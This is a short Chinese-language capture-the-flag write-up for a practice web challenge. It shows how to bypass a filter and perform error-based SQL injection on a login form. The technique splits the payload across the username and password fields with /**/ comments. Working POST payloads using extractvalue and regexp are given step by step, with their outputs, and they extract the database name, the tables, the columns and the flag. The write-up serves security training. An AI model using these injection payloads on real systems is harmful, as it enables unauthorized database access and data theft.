解题地址：http://ctf5.shiyanbar.com/web/baocuo/index.php
先简单地试一下回显，可以知道一般的username,password错误是Login failed，而触发WAF则是红色字体的回显
接下来就开始试后台的过滤逻辑，实验中发现：username中不允许使用()，也就是说无法使用函数，那报错注入岂不是没有办法做了？
那用password注入呢？因为后台逻辑要查询两个字段，所以password字段在这道题里也可以注入。发现password中不允许使用floor、extractvalue等这些报错函数，也就是说报错注入在password这里也做不了了。
也就是说，我们可以username里写报错函数名，password里写剩下的语句，但是这样会有多余的'and password='那要怎么做呢？
记得我们得知的SQL语句格式嘛？ where username='???' and password='???' 而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说，我们可以使用/**/来解决这个问题，而且/**/也没有被吃掉，这叫做HTTP分割注入。
构造语句username='or extractvalue /*，password=*/(1, concat(0x5c,(select user()))) or'，这样一结合就是
select * from users where username=''or extractvalue /*' and password='*/(1, concat(0x5c,(select database()))) or'' 报错出数据库名
第一次post参数为：
username=1' or extractvalue/*
password=*/(1, concat(0x3A,(select database()))) or '1
获得数据库名信息：
XPATH syntax error: ':error_based_hpf'
第二次post参数为：（接下来就是继续报错出表名了，需要注意一点的是=被吃掉了，可以用in或者regexp来绕过）
username=1' or extractvalue/*
password=*/(1,concat(0x3A,(select group_concat(table_name) from information_schema.tables where table_schema regexp 'error_based_hpf'))) or '1
获得数据库表信息：
XPATH syntax error: ':ffll44jj,users'
第三次post参数为：
username=1' or extractvalue/*
password=*/(0x5c,concat(0x3A,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'))) or '1
获得数据库表的字段信息：
XPATH syntax error: ':value'
第四次post参数为：
username=1' or extractvalue/*
password=*/(1,concat(0x3A,(select group_concat(value) from ffll44jj))) or '1
获得flag{}信息：
XPATH syntax error: ':flag{err0r_b4sed_sqli_+_hpf}'